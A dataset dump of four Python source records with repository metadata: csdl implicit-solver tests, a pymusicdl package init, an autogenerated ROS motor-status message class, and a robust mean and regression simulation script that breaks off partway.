| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
7d3b024366802b4edc2b2f4f25e2a9f10e02244c
| 6,083
|
py
|
Python
|
csdl/tests/test_implicit.py
|
LSDOlab/csdl
|
04c2c5764f6ca9b865ec87ecfeaf6f22ecacc5a3
|
[
"MIT"
] | null | null | null |
csdl/tests/test_implicit.py
|
LSDOlab/csdl
|
04c2c5764f6ca9b865ec87ecfeaf6f22ecacc5a3
|
[
"MIT"
] | null | null | null |
csdl/tests/test_implicit.py
|
LSDOlab/csdl
|
04c2c5764f6ca9b865ec87ecfeaf6f22ecacc5a3
|
[
"MIT"
] | 1
|
2021-10-04T19:40:32.000Z
|
2021-10-04T19:40:32.000Z
|
import numpy as np
import pytest
def test_implicit_nonlinear(backend):
from csdl.examples.valid.ex_implicit_apply_nonlinear import example
exec('from {} import Simulator'.format(backend))
sim = example(eval('Simulator'))
sim['x'] = 1.9
sim.run()
np.testing.assert_almost_equal(sim['x'], np.array([1.0]))
result = sim.check_partials(out_stream=None,
compact_print=True,
method='fd')
sim.assert_check_partials(result, atol=1.e-6, rtol=1.e-6)
sim['x'] = 2.1
sim.run()
np.testing.assert_almost_equal(sim['x'], np.array([3.0]))
result = sim.check_partials(out_stream=None,
compact_print=True,
method='fd')
sim.assert_check_partials(result, atol=1.e-6, rtol=1.e-6)
def test_fixed_point_iteration(backend):
from csdl.examples.valid.ex_implicit_fixed_point_iteration import example
exec('from {} import Simulator'.format(backend))
sim = example(eval('Simulator'))
np.testing.assert_approx_equal(
sim['a'],
1.1241230297043157,
)
np.testing.assert_approx_equal(
sim['b'],
1.0798960718178603,
)
np.testing.assert_almost_equal(sim['c'], 0.)
result = sim.check_partials(out_stream=None,
compact_print=True,
method='fd')
sim.assert_check_partials(result, atol=1.e-6, rtol=1.e-6)
def test_implicit_nonlinear_with_subsystems_in_residual(backend):
from csdl.examples.valid.ex_implicit_with_subsystems import example
exec('from {} import Simulator'.format(backend))
sim = example(eval('Simulator'))
np.testing.assert_approx_equal(
sim['a'],
1.0798960718178603,
)
np.testing.assert_almost_equal(
sim['y'],
np.array([1.044583306084130]),
)
sim['y'] = 1.9
sim.run()
np.testing.assert_approx_equal(
sim['a'],
1.0798960718178603,
)
np.testing.assert_approx_equal(
sim['y'],
np.array([2.659476838580102]),
)
result = sim.check_partials(out_stream=None,
compact_print=True,
method='fd')
sim.assert_check_partials(result, atol=1.e-6, rtol=1.e-6)
def test_implicit_multiple_residuals(backend):
from csdl.examples.valid.ex_implicit_multiple_residuals import example
exec('from {} import Simulator'.format(backend))
sim = example(eval('Simulator'))
np.testing.assert_almost_equal(
sim['x'],
np.array([np.sqrt(3)]),
)
np.testing.assert_almost_equal(
sim['y'],
np.array([1.]),
)
result = sim.check_partials(out_stream=None,
compact_print=True,
method='fd')
sim.assert_check_partials(result, atol=1.e-6, rtol=1.e-6)
# ----------------------------------------------------------------------
def test_implicit_nonlinear_define_model_inline(backend):
from csdl.examples.valid.ex_implicit_apply_nonlinear_define_model_inline import example
exec('from {} import Simulator'.format(backend))
sim = example(eval('Simulator'))
sim['x'] = 1.9
sim.run()
np.testing.assert_almost_equal(sim['x'], np.array([1.0]))
result = sim.check_partials(out_stream=None,
compact_print=True,
method='fd')
sim.assert_check_partials(result, atol=1.e-6, rtol=1.e-6)
sim['x'] = 2.1
sim.run()
np.testing.assert_almost_equal(sim['x'], np.array([3.0]))
result = sim.check_partials(out_stream=None,
compact_print=True,
method='fd')
sim.assert_check_partials(result, atol=1.e-6, rtol=1.e-6)
def test_fixed_point_iteration_define_model_inline(backend):
from csdl.examples.valid.ex_implicit_fixed_point_iteration_define_model_inline import example
exec('from {} import Simulator'.format(backend))
sim = example(eval('Simulator'))
np.testing.assert_approx_equal(
sim['a'],
1.1241230297043157,
)
np.testing.assert_approx_equal(
sim['b'],
1.0798960718178603,
)
np.testing.assert_almost_equal(sim['c'], 0.)
result = sim.check_partials(out_stream=None,
compact_print=True,
method='fd')
sim.assert_check_partials(result, atol=1.e-6, rtol=1.e-6)
def test_implicit_nonlinear_with_subsystems_in_residual_define_model_inline(
backend):
from csdl.examples.valid.ex_implicit_with_subsystems_define_model_inline import example
exec('from {} import Simulator'.format(backend))
sim = example(eval('Simulator'))
np.testing.assert_approx_equal(
sim['a'],
1.0798960718178603,
)
np.testing.assert_almost_equal(
sim['y'],
np.array([1.044583306084130]),
)
sim['y'] = 1.9
sim.run()
np.testing.assert_approx_equal(
sim['a'],
1.0798960718178603,
)
np.testing.assert_approx_equal(
sim['y'],
np.array([2.659476838580102]),
)
result = sim.check_partials(out_stream=None,
compact_print=True,
method='fd')
sim.assert_check_partials(result, atol=1.e-6, rtol=1.e-6)
def test_implicit_multiple_residuals_define_model_inline(backend):
from csdl.examples.valid.ex_implicit_multiple_residuals_define_model_inline import example
exec('from {} import Simulator'.format(backend))
sim = example(eval('Simulator'))
np.testing.assert_almost_equal(
sim['x'],
np.array([np.sqrt(3)]),
)
np.testing.assert_almost_equal(
sim['y'],
np.array([1.]),
)
result = sim.check_partials(out_stream=None,
compact_print=True,
method='fd')
sim.assert_check_partials(result, atol=1.e-6, rtol=1.e-6)
| 31.518135
| 97
| 0.600855
| 750
| 6,083
| 4.644
| 0.094667
| 0.056848
| 0.094746
| 0.072351
| 0.985357
| 0.985357
| 0.985357
| 0.985357
| 0.985357
| 0.926787
| 0
| 0.059428
| 0.264179
| 6,083
| 192
| 98
| 31.682292
| 0.718722
| 0.011507
| 0
| 0.77707
| 0
| 0
| 0.051905
| 0
| 0
| 0
| 0
| 0
| 0.203822
| 1
| 0.050955
| false
| 0
| 0.11465
| 0
| 0.165605
| 0.063694
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
bc0beb9fe959ee9758f80fac7c38c7f6f795a082
| 207
|
py
|
Python
|
pymusicdl/modules/__init__.py
|
insaiyancvk/musicdl
|
57be64657a61f5002963eb4a5abca200a0fb575f
|
[
"MIT"
] | 18
|
2021-05-09T01:56:26.000Z
|
2022-02-21T03:24:53.000Z
|
pymusicdl/modules/__init__.py
|
DewanshNehra/pymusicdl
|
d3aa3e9baad751164acffd16a3f9562e3646fb91
|
[
"MIT"
] | 18
|
2021-06-20T02:07:05.000Z
|
2021-12-20T08:29:23.000Z
|
pymusicdl/modules/__init__.py
|
DewanshNehra/pymusicdl
|
d3aa3e9baad751164acffd16a3f9562e3646fb91
|
[
"MIT"
] | 7
|
2021-06-27T05:44:49.000Z
|
2021-12-23T16:24:19.000Z
|
from pymusicdl.modules.common import common
from pymusicdl.modules.spotify_downloader import spotify_downloader
from pymusicdl.modules.ytDownloader import yt_downloader
from pymusicdl.modules.picker import *
| 51.75
| 67
| 0.884058
| 26
| 207
| 6.923077
| 0.384615
| 0.288889
| 0.444444
| 0.333333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.072464
| 207
| 4
| 68
| 51.75
| 0.9375
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
bc3b7af99425da74bfce9216f564f22f967a0bb1
| 17,102
|
py
|
Python
|
devel/lib/python2.7/dist-packages/robotnik_msgs/msg/_RobotnikMotorsStatus.py
|
Jam-cpu/Masters-Project---Final
|
0b266b1f117a579b96507249f0a128d0e3cc082a
|
[
"BSD-3-Clause-Clear"
] | null | null | null |
devel/lib/python2.7/dist-packages/robotnik_msgs/msg/_RobotnikMotorsStatus.py
|
Jam-cpu/Masters-Project---Final
|
0b266b1f117a579b96507249f0a128d0e3cc082a
|
[
"BSD-3-Clause-Clear"
] | null | null | null |
devel/lib/python2.7/dist-packages/robotnik_msgs/msg/_RobotnikMotorsStatus.py
|
Jam-cpu/Masters-Project---Final
|
0b266b1f117a579b96507249f0a128d0e3cc082a
|
[
"BSD-3-Clause-Clear"
] | null | null | null |
# This Python file uses the following encoding: utf-8
"""autogenerated by genpy from robotnik_msgs/RobotnikMotorsStatus.msg. Do not edit."""
import codecs
import sys
python3 = True if sys.hexversion > 0x03000000 else False
import genpy
import struct
import robotnik_msgs.msg
class RobotnikMotorsStatus(genpy.Message):
_md5sum = "40f5305ac2c33d213d54d21bf9ba7fc9"
_type = "robotnik_msgs/RobotnikMotorsStatus"
_has_header = False # flag to mark the presence of a Header object
_full_text = """# Name of each motor drive
string[] name
# CAN ID of each motor drive
int32[] can_id
# Status of the motor drive
robotnik_msgs/MotorStatus[] motor_status
================================================================================
MSG: robotnik_msgs/MotorStatus
string state
string status
string communicationstatus
string statusword
string driveflags
string[] activestatusword
string[] activedriveflags
int32 digitaloutputs
int32 digitalinputs
float32 averagecurrent
float32[] analoginputs
"""
__slots__ = ['name','can_id','motor_status']
_slot_types = ['string[]','int32[]','robotnik_msgs/MotorStatus[]']
def __init__(self, *args, **kwds):
"""
Constructor. Any message fields that are implicitly/explicitly
set to None will be assigned a default value. The recommend
use is keyword arguments as this is more robust to future message
changes. You cannot mix in-order arguments and keyword arguments.
The available fields are:
name,can_id,motor_status
:param args: complete set of field values, in .msg order
:param kwds: use keyword arguments corresponding to message field names
to set specific fields.
"""
if args or kwds:
super(RobotnikMotorsStatus, self).__init__(*args, **kwds)
# message fields cannot be None, assign default values for those that are
if self.name is None:
self.name = []
if self.can_id is None:
self.can_id = []
if self.motor_status is None:
self.motor_status = []
else:
self.name = []
self.can_id = []
self.motor_status = []
def _get_types(self):
"""
internal API method
"""
return self._slot_types
def serialize(self, buff):
"""
serialize message into buffer
:param buff: buffer, ``StringIO``
"""
try:
length = len(self.name)
buff.write(_struct_I.pack(length))
for val1 in self.name:
length = len(val1)
if python3 or type(val1) == unicode:
val1 = val1.encode('utf-8')
length = len(val1)
buff.write(struct.Struct('<I%ss'%length).pack(length, val1))
length = len(self.can_id)
buff.write(_struct_I.pack(length))
pattern = '<%si'%length
buff.write(struct.Struct(pattern).pack(*self.can_id))
length = len(self.motor_status)
buff.write(_struct_I.pack(length))
for val1 in self.motor_status:
_x = val1.state
length = len(_x)
if python3 or type(_x) == unicode:
_x = _x.encode('utf-8')
length = len(_x)
buff.write(struct.Struct('<I%ss'%length).pack(length, _x))
_x = val1.status
length = len(_x)
if python3 or type(_x) == unicode:
_x = _x.encode('utf-8')
length = len(_x)
buff.write(struct.Struct('<I%ss'%length).pack(length, _x))
_x = val1.communicationstatus
length = len(_x)
if python3 or type(_x) == unicode:
_x = _x.encode('utf-8')
length = len(_x)
buff.write(struct.Struct('<I%ss'%length).pack(length, _x))
_x = val1.statusword
length = len(_x)
if python3 or type(_x) == unicode:
_x = _x.encode('utf-8')
length = len(_x)
buff.write(struct.Struct('<I%ss'%length).pack(length, _x))
_x = val1.driveflags
length = len(_x)
if python3 or type(_x) == unicode:
_x = _x.encode('utf-8')
length = len(_x)
buff.write(struct.Struct('<I%ss'%length).pack(length, _x))
length = len(val1.activestatusword)
buff.write(_struct_I.pack(length))
for val2 in val1.activestatusword:
length = len(val2)
if python3 or type(val2) == unicode:
val2 = val2.encode('utf-8')
length = len(val2)
buff.write(struct.Struct('<I%ss'%length).pack(length, val2))
length = len(val1.activedriveflags)
buff.write(_struct_I.pack(length))
for val2 in val1.activedriveflags:
length = len(val2)
if python3 or type(val2) == unicode:
val2 = val2.encode('utf-8')
length = len(val2)
buff.write(struct.Struct('<I%ss'%length).pack(length, val2))
_x = val1
buff.write(_get_struct_2if().pack(_x.digitaloutputs, _x.digitalinputs, _x.averagecurrent))
length = len(val1.analoginputs)
buff.write(_struct_I.pack(length))
pattern = '<%sf'%length
buff.write(struct.Struct(pattern).pack(*val1.analoginputs))
except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self)))))
except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self)))))
def deserialize(self, str):
"""
unpack serialized message in str into this message instance
:param str: byte array of serialized message, ``str``
"""
if python3:
codecs.lookup_error("rosmsg").msg_type = self._type
try:
if self.motor_status is None:
self.motor_status = None
end = 0
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
self.name = []
for i in range(0, length):
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
start = end
end += length
if python3:
val1 = str[start:end].decode('utf-8', 'rosmsg')
else:
val1 = str[start:end]
self.name.append(val1)
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
pattern = '<%si'%length
start = end
s = struct.Struct(pattern)
end += s.size
self.can_id = s.unpack(str[start:end])
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
self.motor_status = []
for i in range(0, length):
val1 = robotnik_msgs.msg.MotorStatus()
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
start = end
end += length
if python3:
val1.state = str[start:end].decode('utf-8', 'rosmsg')
else:
val1.state = str[start:end]
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
start = end
end += length
if python3:
val1.status = str[start:end].decode('utf-8', 'rosmsg')
else:
val1.status = str[start:end]
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
start = end
end += length
if python3:
val1.communicationstatus = str[start:end].decode('utf-8', 'rosmsg')
else:
val1.communicationstatus = str[start:end]
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
start = end
end += length
if python3:
val1.statusword = str[start:end].decode('utf-8', 'rosmsg')
else:
val1.statusword = str[start:end]
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
start = end
end += length
if python3:
val1.driveflags = str[start:end].decode('utf-8', 'rosmsg')
else:
val1.driveflags = str[start:end]
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
val1.activestatusword = []
for i in range(0, length):
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
start = end
end += length
if python3:
val2 = str[start:end].decode('utf-8', 'rosmsg')
else:
val2 = str[start:end]
val1.activestatusword.append(val2)
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
val1.activedriveflags = []
for i in range(0, length):
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
start = end
end += length
if python3:
val2 = str[start:end].decode('utf-8', 'rosmsg')
else:
val2 = str[start:end]
val1.activedriveflags.append(val2)
_x = val1
start = end
end += 12
(_x.digitaloutputs, _x.digitalinputs, _x.averagecurrent,) = _get_struct_2if().unpack(str[start:end])
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
pattern = '<%sf'%length
start = end
s = struct.Struct(pattern)
end += s.size
val1.analoginputs = s.unpack(str[start:end])
self.motor_status.append(val1)
return self
except struct.error as e:
raise genpy.DeserializationError(e) # most likely buffer underfill
def serialize_numpy(self, buff, numpy):
"""
serialize message with numpy array types into buffer
:param buff: buffer, ``StringIO``
:param numpy: numpy python module
"""
try:
length = len(self.name)
buff.write(_struct_I.pack(length))
for val1 in self.name:
length = len(val1)
if python3 or type(val1) == unicode:
val1 = val1.encode('utf-8')
length = len(val1)
buff.write(struct.Struct('<I%ss'%length).pack(length, val1))
length = len(self.can_id)
buff.write(_struct_I.pack(length))
pattern = '<%si'%length
buff.write(self.can_id.tostring())
length = len(self.motor_status)
buff.write(_struct_I.pack(length))
for val1 in self.motor_status:
_x = val1.state
length = len(_x)
if python3 or type(_x) == unicode:
_x = _x.encode('utf-8')
length = len(_x)
buff.write(struct.Struct('<I%ss'%length).pack(length, _x))
_x = val1.status
length = len(_x)
if python3 or type(_x) == unicode:
_x = _x.encode('utf-8')
length = len(_x)
buff.write(struct.Struct('<I%ss'%length).pack(length, _x))
_x = val1.communicationstatus
length = len(_x)
if python3 or type(_x) == unicode:
_x = _x.encode('utf-8')
length = len(_x)
buff.write(struct.Struct('<I%ss'%length).pack(length, _x))
_x = val1.statusword
length = len(_x)
if python3 or type(_x) == unicode:
_x = _x.encode('utf-8')
length = len(_x)
buff.write(struct.Struct('<I%ss'%length).pack(length, _x))
_x = val1.driveflags
length = len(_x)
if python3 or type(_x) == unicode:
_x = _x.encode('utf-8')
length = len(_x)
buff.write(struct.Struct('<I%ss'%length).pack(length, _x))
length = len(val1.activestatusword)
buff.write(_struct_I.pack(length))
for val2 in val1.activestatusword:
length = len(val2)
if python3 or type(val2) == unicode:
val2 = val2.encode('utf-8')
length = len(val2)
buff.write(struct.Struct('<I%ss'%length).pack(length, val2))
length = len(val1.activedriveflags)
buff.write(_struct_I.pack(length))
for val2 in val1.activedriveflags:
length = len(val2)
if python3 or type(val2) == unicode:
val2 = val2.encode('utf-8')
length = len(val2)
buff.write(struct.Struct('<I%ss'%length).pack(length, val2))
_x = val1
buff.write(_get_struct_2if().pack(_x.digitaloutputs, _x.digitalinputs, _x.averagecurrent))
length = len(val1.analoginputs)
buff.write(_struct_I.pack(length))
pattern = '<%sf'%length
buff.write(val1.analoginputs.tostring())
except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self)))))
except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self)))))
def deserialize_numpy(self, str, numpy):
"""
unpack serialized message in str into this message instance using numpy for array types
:param str: byte array of serialized message, ``str``
:param numpy: numpy python module
"""
if python3:
codecs.lookup_error("rosmsg").msg_type = self._type
try:
if self.motor_status is None:
self.motor_status = None
end = 0
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
self.name = []
for i in range(0, length):
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
start = end
end += length
if python3:
val1 = str[start:end].decode('utf-8', 'rosmsg')
else:
val1 = str[start:end]
self.name.append(val1)
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
pattern = '<%si'%length
start = end
s = struct.Struct(pattern)
end += s.size
self.can_id = numpy.frombuffer(str[start:end], dtype=numpy.int32, count=length)
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
self.motor_status = []
for i in range(0, length):
val1 = robotnik_msgs.msg.MotorStatus()
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
start = end
end += length
if python3:
val1.state = str[start:end].decode('utf-8', 'rosmsg')
else:
val1.state = str[start:end]
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
start = end
end += length
if python3:
val1.status = str[start:end].decode('utf-8', 'rosmsg')
else:
val1.status = str[start:end]
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
start = end
end += length
if python3:
val1.communicationstatus = str[start:end].decode('utf-8', 'rosmsg')
else:
val1.communicationstatus = str[start:end]
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
start = end
end += length
if python3:
val1.statusword = str[start:end].decode('utf-8', 'rosmsg')
else:
val1.statusword = str[start:end]
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
start = end
end += length
if python3:
val1.driveflags = str[start:end].decode('utf-8', 'rosmsg')
else:
val1.driveflags = str[start:end]
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
val1.activestatusword = []
for i in range(0, length):
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
start = end
end += length
if python3:
val2 = str[start:end].decode('utf-8', 'rosmsg')
else:
val2 = str[start:end]
val1.activestatusword.append(val2)
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
val1.activedriveflags = []
for i in range(0, length):
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
start = end
end += length
if python3:
val2 = str[start:end].decode('utf-8', 'rosmsg')
else:
val2 = str[start:end]
val1.activedriveflags.append(val2)
_x = val1
start = end
end += 12
(_x.digitaloutputs, _x.digitalinputs, _x.averagecurrent,) = _get_struct_2if().unpack(str[start:end])
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
pattern = '<%sf'%length
start = end
s = struct.Struct(pattern)
end += s.size
val1.analoginputs = numpy.frombuffer(str[start:end], dtype=numpy.float32, count=length)
self.motor_status.append(val1)
return self
except struct.error as e:
raise genpy.DeserializationError(e) # most likely buffer underfill
_struct_I = genpy.struct_I
def _get_struct_I():
global _struct_I
return _struct_I
_struct_2if = None
def _get_struct_2if():
global _struct_2if
if _struct_2if is None:
_struct_2if = struct.Struct("<2if")
return _struct_2if
| 33.93254
| 145
| 0.570752
| 2,136
| 17,102
| 4.437266
| 0.088483
| 0.097911
| 0.076598
| 0.057396
| 0.810087
| 0.799958
| 0.792994
| 0.778751
| 0.770521
| 0.75575
| 0
| 0.023916
| 0.295872
| 17,102
| 503
| 146
| 34
| 0.763162
| 0.074143
| 0
| 0.865342
| 1
| 0
| 0.071693
| 0.014351
| 0
| 0
| 0.000638
| 0
| 0
| 1
| 0.01766
| false
| 0
| 0.011038
| 0
| 0.055188
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
70ff1f3f5aa053a769a12889cd1831c357bdf910
| 18,408
|
py
|
Python
|
example/test.py
|
YichiZhang-Oxford/auto-adaptive-robust-regression
|
cf48c5fd4e04dc6a2766ff46cc9739be9fc68fd6
|
[
"MIT"
] | 1
|
2022-01-28T14:15:32.000Z
|
2022-01-28T14:15:32.000Z
|
example/test.py
|
YichiZhang-Oxford/pyAutoAdaptiveRobustRegression
|
cf48c5fd4e04dc6a2766ff46cc9739be9fc68fd6
|
[
"MIT"
] | null | null | null |
example/test.py
|
YichiZhang-Oxford/pyAutoAdaptiveRobustRegression
|
cf48c5fd4e04dc6a2766ff46cc9739be9fc68fd6
|
[
"MIT"
] | null | null | null |
import numpy as np
import pyAutoAdaptiveRobustRegression as arr
from tqdm import tqdm
import matplotlib.pyplot as plt
from sstudentt import SST
# ---------------
# Mean Estimation
# ---------------
n = 1000
X=np.random.lognormal(0,1.5,n)-np.exp(1.5**2/2)
huber_mean_result = arr.huber_mean(X)
print("Huber Mean:", huber_mean_result)
agd_bb_result = arr.agd_bb(X)
print("AGD BB Mean:", agd_bb_result)
agd_result = arr.agd(X)
print("AGD Mean:", agd_result)
# ----------------------------------
# Huber Covariance Matrix Estimation
# ----------------------------------
n = 100
d = 50
X = np.random.standard_t(n*d,(n,d))/np.sqrt(3)
hubCov = arr.huber_cov(X)
print("Huber Covariance:", hubCov)
# ---------------------------
# Huber Regression Estimation
# ---------------------------
n = 500
d = 5
thetaStar = np.repeat(3, d + 1)
X = np.random.normal( size=(n , d))
error=np.random.lognormal(0,1.5,n)-np.exp(1.5**2/2)
Y = np.squeeze(np.dot(np.hstack((np.repeat(1,n).reshape((n,1)),X)),thetaStar.reshape(d+1,1)))+error
huber_reg = arr.huber_reg(X, Y)
print("Huber Regression:", huber_reg)
# ===========================================================================================================
# Figure 1
# ===========================================================================================================
# -------------
# Figure 1 Plot
# -------------
alpha_list = [round(x,2) for x in np.arange(0.50, 1.01, 0.01)]
def plot_data(alpha_list, error_dict):
sample_mean_error_list = []
huber_mean_error_list = []
agdBB_mean_error_list = []
agd_mean_error_list = []
for alpha in alpha_list:
sample_mean_error_list.append(np.quantile(error_dict["sample_mean_error_array"],alpha))
huber_mean_error_list.append(np.quantile(error_dict["huber_mean_error_array"],alpha))
agdBB_mean_error_list.append(np.quantile(error_dict["agdBB_mean_error_array"],alpha))
agd_mean_error_list.append(np.quantile(error_dict["agd_mean_error_array"],alpha))
return {"sample_mean_error_list":sample_mean_error_list,
"huber_mean_error_list":huber_mean_error_list,
"agdBB_mean_error_list":agdBB_mean_error_list,
"agd_mean_error_list":agd_mean_error_list}
def plot_fig1(alpha_list,data_dict,title):
f = plt.figure()
plt.plot(alpha_list, data_dict["sample_mean_error_list"], color = "red", label = "Sample Mean", linestyle="-")
plt.plot(alpha_list, data_dict["huber_mean_error_list"], color = "blue", label = "DA-Huber", linestyle="--")
plt.plot(alpha_list, data_dict["agdBB_mean_error_list"], color = "yellow", label = "AGD_BB", linestyle="-.")
plt.plot(alpha_list, data_dict["agd_mean_error_list"], color = "green", label = "AGD", linestyle=":")
plt.xlabel('Confidence level')
plt.ylabel('Estimation error')
plt.legend()
plt.title(title)
#plt.show()
#f.savefig(title+"_figure_1.pdf", dpi=300)
f.savefig(title+"_figure_1.png", dpi=300)
# -------------------
# Normal Distribution
# -------------------
def normal_simulation(mu,sigma,n=100,simulation_number=2000):
sample_mean_error_array = []
huber_mean_error_array = []
agdBB_mean_error_array = []
agd_mean_error_array = []
for i in tqdm(range(0,simulation_number)):
sample = np.random.normal(mu,sigma,n)
sample_mean_error = abs(np.mean(sample)-mu)
huber_mean_error = abs(arr.huber_mean(sample)-mu)
agdBB_mean_error = abs(arr.agd_bb(sample)-mu)
agd_mean_error = abs(arr.agd(sample)-mu)
sample_mean_error_array=np.append(sample_mean_error_array,sample_mean_error)
huber_mean_error_array=np.append(huber_mean_error_array,huber_mean_error)
agdBB_mean_error_array=np.append(agdBB_mean_error_array,agdBB_mean_error)
agd_mean_error_array=np.append(agd_mean_error_array,agd_mean_error)
return {"sample_mean_error_array":sample_mean_error_array,
"huber_mean_error_array":huber_mean_error_array,
"agdBB_mean_error_array":agdBB_mean_error_array,
"agd_mean_error_array":agd_mean_error_array}
mu = 0
sigma =1
normal_error_dict = normal_simulation(mu,sigma)
normal_data_dict = plot_data(alpha_list,normal_error_dict)
title = "N(0, 1)"
plot_fig1(alpha_list,normal_data_dict,title)
# ---------------------------------
# Skewed Generalized t Distribution
# ---------------------------------
def sgt_simulation(mu,sigma,lam,q,n=100,simulation_number=2000):
sample_mean_error_array = []
huber_mean_error_array = []
agdBB_mean_error_array = []
agd_mean_error_array = []
for i in tqdm(range(0,simulation_number)):
sample = SST(mu, sigma, lam, q).r(n)
sample_mean_error = abs(np.mean(sample)-mu)
huber_mean_error = abs(arr.huber_mean(sample)-mu)
agdBB_mean_error = abs(arr.agd_bb(sample)-mu)
agd_mean_error = abs(arr.agd(sample)-mu)
sample_mean_error_array=np.append(sample_mean_error_array,sample_mean_error)
huber_mean_error_array=np.append(huber_mean_error_array,huber_mean_error)
agdBB_mean_error_array=np.append(agdBB_mean_error_array,agdBB_mean_error)
agd_mean_error_array=np.append(agd_mean_error_array,agd_mean_error)
return {"sample_mean_error_array":sample_mean_error_array,
"huber_mean_error_array":huber_mean_error_array,
"agdBB_mean_error_array":agdBB_mean_error_array,
"agd_mean_error_array":agd_mean_error_array}
mu = 0
sigma = np.sqrt(5)
lam = 0.75
q = 2.5
sgt_error_dict = sgt_simulation(mu,sigma,lam,q)
sgt_data_dict = plot_data(alpha_list,sgt_error_dict)
title = "SGT(0, 5, 0.75, 2, 2.5)"
plot_fig1(alpha_list,sgt_data_dict,title)
# ----------------------
# Lognormal Distribution
# ----------------------
def lognormal_simulation(mu,sigma,n=100,simulation_number=2000):
sample_mean_error_array = []
huber_mean_error_array = []
agdBB_mean_error_array = []
agd_mean_error_array = []
for i in tqdm(range(0,simulation_number)):
sample = np.random.lognormal(mu,sigma,n)
sample_mean_error = abs(np.mean(sample)-mu)
huber_mean_error = abs(arr.huber_mean(sample)-mu)
agdBB_mean_error = abs(arr.agd_bb(sample)-mu)
agd_mean_error = abs(arr.agd(sample)-mu)
sample_mean_error_array=np.append(sample_mean_error_array,sample_mean_error)
huber_mean_error_array=np.append(huber_mean_error_array,huber_mean_error)
agdBB_mean_error_array=np.append(agdBB_mean_error_array,agdBB_mean_error)
agd_mean_error_array=np.append(agd_mean_error_array,agd_mean_error)
return {"sample_mean_error_array":sample_mean_error_array,
"huber_mean_error_array":huber_mean_error_array,
"agdBB_mean_error_array":agdBB_mean_error_array,
"agd_mean_error_array":agd_mean_error_array}
mu = 0
sigma = 1.5
lognormal_error_dict = lognormal_simulation(mu, sigma)
lognormal_data_dict = plot_data(alpha_list,lognormal_error_dict)
title = "LN(0, 1.5)"
plot_fig1(alpha_list,lognormal_data_dict,title)
# -------------------
# Pareto Distribution
# -------------------
def pareto_simulation(scale,shape,n=100,simulation_number=2000):
sample_mean_error_array = []
huber_mean_error_array = []
agdBB_mean_error_array = []
agd_mean_error_array = []
mu = (shape*scale)/(shape-1)
for i in tqdm(range(0,simulation_number)):
sample = (np.random.pareto(shape, n) + 1) * scale
sample_mean_error = abs(np.mean(sample)-mu)
huber_mean_error = abs(arr.huber_mean(sample)-mu)
agdBB_mean_error = abs(arr.agd_bb(sample)-mu)
agd_mean_error = abs(arr.agd(sample)-mu)
sample_mean_error_array=np.append(sample_mean_error_array,sample_mean_error)
huber_mean_error_array=np.append(huber_mean_error_array,huber_mean_error)
agdBB_mean_error_array=np.append(agdBB_mean_error_array,agdBB_mean_error)
agd_mean_error_array=np.append(agd_mean_error_array,agd_mean_error)
return {"sample_mean_error_array":sample_mean_error_array,
"huber_mean_error_array":huber_mean_error_array,
"agdBB_mean_error_array":agdBB_mean_error_array,
"agd_mean_error_array":agd_mean_error_array}
scale = 1
shape = 2
pareto_error_dict = pareto_simulation(scale,shape)
